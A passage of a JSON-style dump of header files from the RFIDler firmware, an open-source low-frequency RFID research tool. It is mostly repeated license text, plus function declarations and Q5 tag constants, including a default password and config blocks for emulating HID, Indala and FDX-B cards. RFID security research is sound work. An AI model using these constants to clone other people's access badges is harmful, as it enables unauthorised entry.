sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n#define PAXTON_DATABITS     64\n\n\nBOOL paxton_get_uid(BYTE *response);\nBOOL paxton_hex_to_uid(BYTE *response, BYTE *hex);\nBOOL hex_to_paxton_hex(unsigned char *paxton, unsigned char *hex);\nBOOL paxton_hex_to_hex(unsigned char *hex, unsigned char *paxton);\nBOOL hex_to_paxton_bin(unsigned char *paxton, unsigned char *hex);\n\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/psk.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n\n\n// definitions for psk emulation devices\n\nunsigned int read_psk1_data(unsigned int period_us, unsigned int ticks, BYTE *data, unsigned int bits, unsigned char *sync, unsigned char syncbits, unsigned int timeout_us, unsigned int min_pulse_us, BOOL oneshot, BYTE format);\nvoid write_bit_psk1(unsigned char mybit, unsigned long time);\nvoid write_bit_psk1_EXT_clock(unsigned char mybit);\nBOOL send_psk1_hex(unsigned char *data, unsigned int pulsewidth, unsigned int tpb, unsigned int c0, unsigned int repeat);\nBOOL send_psk1_bin(unsigned char *data, unsigned int length, unsigned int pulsewidth, unsigned int tpb, unsigned int c0, unsigned int repeat);\nvoid write_PSK1_HW_clock(unsigned int period, unsigned char *data, unsigned int tpb, unsigned int c0, unsigned int repeat);\nvoid read_PSK1_HW_clock(unsigned int period, unsigned int ticks, BYTE *data, unsigned int bits, unsigned int timeout_us, unsigned int min_pulse_us);\nBOOL psk1_raw_get_uid(BYTE *response);\nBOOL psk1_raw_hex_to_uid(BYTE *response, BYTE *hex);\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/q5.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n\n\n#define Q5_SOFT_RESET           \"00\"        // reset (test mode)\n#define Q5_DIRECT_ACCESS        \"10\"        // direct read in pwd or non-pwd mode\n#define Q5_WRITE_P0             \"10\"        // write page 0\n#define Q5_WRITE_P1             \"11\"        // write page 1\n#define Q5_GET_TRACE_DATA       \"11\"        // get 64 bits tracebility data\n#define Q5_AOR                  \"10\"        // Answer On Request (wakeup)\n#define Q5_MODULATION_DEFEAT    \"00011\"     // tell tag to go quiet\n#define Q5_READ_CONFIG_BLOCK    \"100000\"    // direct read, no PWD, address 000\n\n#define Q5_START_GAP            48          // start gap in FC - range 10 - 50, must be greater than command gap\n#define Q5_WRITE_DELAY          1000        // time needed to complete write operation in FC - 648 in the docs, so round up a bit\n\n#define Q5_BLOCKSIZE            32          // blocksize in bits\n#define Q5_DATABLOCKS           8           // total number of blocks\n#define Q5_CONFIG_BLOCK_NUM     0           // config block number\n#define Q5_USER_DATA_BLOCK_NUM  1           // 1st user data block\n#define Q5_PW_BLOCK_NUM         7           // password block number\n#define Q5_BLANK_BLOCK          \"00000000\"\n\n#define Q5_DEFAULT_PWD          \"00000000\"  // default password\n\n// config blocks\n#define Q5_DEFAULT_CONFIG_BLOCK      \"E601F004\"      // q5 native mode (also em4x02/unique/paxton)\n#define Q5_PWD_CONIG_BLOCK           \"E601F404\"      // q5 native mode with PWD enabled\n#define Q5_AOR_CONIG_BLOCK           \"E601F804\"      // q5 native mode with AOR enabled\n#define Q5_PWD_AOR_CONIG_BLOCK       \"E601FC04\"      // q5 native mode with PWD and AOR enabled\n#define Q5_FDXB_CONFIG_BLOCK         \"E600F0E8\"      // emulate fdx-b\n#define Q5_HID_26_CONFIG_BLOCK       \"E6018056\"      // hid 26 bit\n#define Q5_INDALA_64_CONFIG_BLOCK    \"E600F014\"      // emulate indala 64 bit\n#define Q5_INDALA_224_CONFIG_BLOCK   \"E600F01E\"      // emulate indala 224 bit\n\n// note that Q5 sends data in LSB order, so everything in the datasheet is effectively reversed\n// what is shown as \"bit 32\" is actually bit 0\n\n// config block masks\n#define Q5_MASK_PAGE_SELECT              0b00000000000010000000000000000000\n#define Q5_MASK_FAST_WRITE               0b00000000000001000000000000000000\n#define Q5_MASK_DATA_BIT_RATE            0b00000000000000111111000000000000\n#define Q5_MASK_USE_AOR                  0b00000000000000000000100000000000\n#define Q5_MASK_USE_PWD                  0b00000000000000000000010000000000\n#define Q5_MASK_PSK_CARRIER_FREQ         0b00000000000000000000001100000000\n#define Q5_MASK_INVERSE_DATA             0b00000000000000000000000010000000\n#define Q5_MASK_MODULATION               0b00000000000000000000000001110000\n#define Q5_MASK_MAX_BLOCK                0b00000000000000000000000000001110\n#define Q5_MASK_ST                       0b00000000000000000000000000000001\n\n// config block bit shifts\n#define Q5_SHIFT_PAGE_SELECT            19\n#define Q5_SHIFT_FAST_WRITE             18\n#define Q5_SHIFT_DATA_BIT_RATE          12\n#define Q5_SHIFT_USE_AOR                11\n#define Q5_SHIFT_USE_PWD                10\n#define Q5_SHIFT_PSK_CARRIER_FREQ        8\n#define Q5_SHIFT_INVERSE_DATA            7\n#define Q5_SHIFT_MODULATION              4\n#define Q5_SHIFT_MAX_BLOCK               1\n#define Q5_SHIFT_ST                      0\n\n// Q5 modulation settings\n#define Q5_MOD_MANCHESTER               0\n#define Q5_MOD_PSK1                     1\n#define Q5_MOD_PSK2                     2\n#define Q5_MOD_PSK3                     3\n#define Q5_MOD_FSK1                     4\n#define Q5_MOD_FSK2                     5\n#define Q5_MOD_BIPHASE                  6\n#define Q5_MOD_DIRECT                   7\n\n\nBOOL q5_send_command(BYTE *response, BYTE *command, BYTE length, BOOL reset, BOOL sync, BYTE response_length);\nBOOL q5_get_uid(BYTE *response);\nBOOL q5_hex_to_uid(BYTE *response, BYTE *hex);\nBOOL q5_read_block(BYTE *response, BYTE block);\nBOOL q5_write_block(BYTE block, BYTE *data, BOOL lock, BOOL verify);\nBOOL q5_get_config(BYTE *response);\nBOOL q5_login(BYTE *response, BYTE *pass);\nBOOL q5_rwd_test(BYTE *pattern);\nBOOL q5_config_block_show(BYTE *config, BYTE *password);\nBOOL q5_emulate_config_block(BYTE *config, BYTE target_tagtype);\nBOOL q5_decode_pwm(unsigned int pulses[], unsigned int gaps[], unsigned int count);"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/read.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n\n\nBOOL read_tag(BYTE *data, unsigned int startblock, unsigned int endblock);\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/rfidler.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2015 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope 